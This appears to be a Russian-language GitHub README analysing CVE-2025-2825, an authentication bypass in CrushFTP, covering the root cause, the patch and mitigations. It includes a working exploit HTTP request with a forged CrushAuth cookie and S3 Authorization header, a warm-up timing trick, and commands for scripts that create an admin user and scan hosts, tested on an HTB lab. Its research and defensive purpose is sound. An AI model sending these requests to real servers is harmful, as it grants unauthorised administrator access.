iteride/cve-2025-2825Детальный анализ и PoC-эксплойт для CVE-2025-2825, обход аутентификации в CrushFTP. Включает nuclei-шаблоны, многопоточный сканер и скрипт создания пользователя для тестирования на проникновение.
В данном документе представлено исследование уязвимости CVE-2025-2825, затрагивающей серверную часть CrushFTP — коммерческого решения для организации передачи и хранения файлов (FTP, SFTP, HTTP/S, S3-подобные интерфейсы и др.).
Дефект классифицируется как authentication bypass, позволяющий удалённому неаутентифицированному злоумышленнику получить права администратора. Успешная эксплуатация даёт доступ с привилегиями crushadmin, просмотр и изменение файлов, управление учётными записями и выполнение административных операций через веб-интерфейс и API CrushFTP.
Сообщаемые затронутые версии (по публичным advisories и отчётам исследователей):
⚠️ Примечание: в части публикаций встречаются дубликаты и пересечения идентификаторов CVE (например, CVE-2025-31161).
Пошагово разобрать уязвимость и продемонстрировать полный цикл исследования, включающий:
По публичным отчётам уязвимость имеет критический риск:
Критичны инстансы с такими признаками:
CrushFTP (любая редакция с веб-интерфейсом).CrushFTP реализует поддержку S3-подобного API. Для аутентификации используется заголовок Authorization вида:
Authorization: AWS4-HMAC-SHA256 Credential=<AccessKey>/<Date>/<Region>/s3/aws4_request, SignedHeaders=<Headers>, Signature=<Signature>
Сервер извлекает AccessKey из Credential и должен проверить подпись. Однако в коде была допущена ошибка при работе с флагом lookup_user_pass
// ServerSessionHTTP.java, метод loginCheckHeaderAuth()
if (this.headerLookup.containsKey("AUTHORIZATION") &&
this.headerLookup.getProperty("AUTHORIZATION").trim().startsWith("AWS4-HMAC")) {
boolean lookup_user_pass = true; // ← критическая ошибка
if (s3_username3.indexOf("~") >= 0) {
user_pass = user_name.substring(user_name.indexOf("~") + 1);
user_name = user_name.substring(0, user_name.indexOf("~"));
lookup_user_pass = false;
}
if (this.thisSession.login_user_pass(
lookup_user_pass,
false,
user_name,
lookup_user_pass ? "" : user_pass)) {
// Успешная аутентификация
}
}
Флаг lookup_user_pass напрямую передаётся как anyPass:
if (anyPass && user.getProperty("username").equalsIgnoreCase(the_user)) {
return user; // аутентификация без проверки пароля
}
Таким образом:
Если имя пользователя указано без символа ~, флаг остаётся true.
Верификация пароля не выполняется.
Злоумышленник может пройти аутентификацию, указав только существующее имя пользователя (например, crushadmin).
Вместе с формально валидной кукой CrushAuth и параметром c2f это позволяет обойти аутентификацию и получить административный доступ.
В версии 11.3.1 и новее разработчики:
Добавили параметр s3_auth_lookup_password_supported (по умолчанию false), блокирующий уязвимый сценарий.
Ввели ранние проверки имени пользователя с ~.
Разделили логику флагов, устранив подмену lookup_user_pass → anyPass.
Рекомендация: немедленно обновить CrushFTP до 11.3.1+ либо применить workaround с выключенным s3_auth_lookup_password_supported.
Эксплуатация CVE-2025-2825 достаточно проста и не требует сложной подготовки. Атакующему достаточно отправить специально оформленный HTTP-запрос, в котором присутствуют два ключевых элемента:
Authorization в формате AWS S3, содержащий корректное имя существующего пользователя (поле Credential с AccessKey/username).CrushAuth в ожидаемом формате и параметр c2f в URL/теле запроса, значения которых логически соответствуют (формат cookie должен соответствовать ожидаемой сервером структуре).Если сервер уязвим (версия из диапазона 10.0.0—10.8.3 или 11.0.0—11.3.0 и не применён исправляющий патч), такая комбинация заставляет обработчик аутентификации пойти по уязвимому пути, где флаг поиска пароля (lookup_user_pass) интерпретируется как «любой пароль допустим», и пользователь аутентифицируется по одному только имени без проверки пароля.
Важное замечание:
Эксплуатация этой уязвимости, как правило, требует отправки двух последовательных запросов. Первый, так называемый «прогревочный» (warm-up) запрос, запускает уязвимый процесс аутентификации на сервере. Характерным признаком того, что сервер вошел в нужное состояние, является получение в ответ ошибки
502 Bad Gatewayили простое истечение времени ожидания (timeout). Сразу после этого отправляется второй, основной запрос, который и выполняет полезное действие (например, создание пользователя), пока сервер находится в уязвимом для атаки состоянии.
GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f=1111 HTTP/1.1
Host: target-server:8080
Cookie: CrushAuth=1743113839553_vD96EZ70ONL6xAd1DAJhXMZYMn1111
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
Для теста я взял вышедшую недавно лабораторию на HTB — Soulmate, где как раз требуется эксплуатация CrushFTP.
Благодаря этой узвимости,можно добавить нового пользователся с правами админа,с помощью команды setUserItem.Для этого запустите new_user.py
python3 new_user.py --target_host http://ftp.soulmate.htb/ --port 80 --target_user crushadmin --new_user literide --password literide
Парсинг заголовка Authorization: Когда сервер видит заголовок авторизации в S3-подобном формате (AWS4-HMAC...), он извлекает из поля Credential идентификатор клиента (AccessKey / username). На этом этапе сервер получает строку, которую считает именем пользователя — это идентификационное значение, используемое дальше в логике аутентификации.
Флаг lookup_user_pass и его роль:
В коде есть булев флаг lookup_user_pass, который должен указывать, откуда брать пароль при проверке:
В нормальном сценарии флаг помогает решить: использовать ли пароль, переданный в запросе, или подтянуть пароль из хранилища пользователей;
Однако из-за ошибки реализации этот же флаг передаётся дальше в проверочную функцию и там трактуется иначе — как сигнал, позволяющий пропустить проверку пароля (по сути: «anyPass»).
Передача флага по цепочке вызовов:
Примерный путь: ServerSessionHTTP.loginCheckHeaderAuth() → Session.login_user_pass(...) → UserTools.ut.verify_user(...). На входе флаг задаёт поведение, а в verify_user он приводит к раннему возврату найденного объекта пользователя без сравнения пароля, если имя совпадает. Это и даёт обход проверки аутентификации — сервер «узнаёт» пользователя по имени и считает его аутентифицированным.
Сопутствующие элементы (cookie / c2f):
В публичных разборках указывалось, что обработчик ожидает корректный формат cookie/параметров с целью сопоставления запроса с сессией/контекcтом. Однако ключевой дефект именно в логической ошибке обработки lookup_user_pass; другие элементы лишь помогают запросу пройти стандартные ветви обработки.
Ключевая причина
Credential и приводило к тому, что наличие корректного имени пользователя было достаточным для получения учётных данных пользователя без проверки пароля.Пассивный шаблон:
Так как определение точной версии Crushftp в большинстве веб сервисов невозможно,то этот шаблон просто проверяет использует ли сервис Crushftp.
Лучше всего использовать в связке с активным шаблоном
Активный шаблон:
Активный шаблон проверяет,возможна ли команда getUserList.
Многопоточный скрипт
Скрипт работает примерно также как и активный шаблон,только намного быстрее и поддерживает возможность проверки сразу нескольких хостов
python3 scan.py -t http://ftp.soulmate.htb/ -p 80 -u crushadmin
Для снижения рисков, связанных с CVE-2025-31161, рекомендуется предпринять следующие шаги :
Немедленное обновление:
Применение Workaround (если обновление невозможно):
s3_auth_lookup_password_supported в значение false. Это отключит уязвимую логику аутентификации без обновления всего продукта.Меры компенсации рисков:
AWS4-HMAC-SHA256 в заголовке Authorization, особенно если вы не используете S3-интеграцию.Authorization заголовки к эндпоинтам, не предназначенным для S3 API.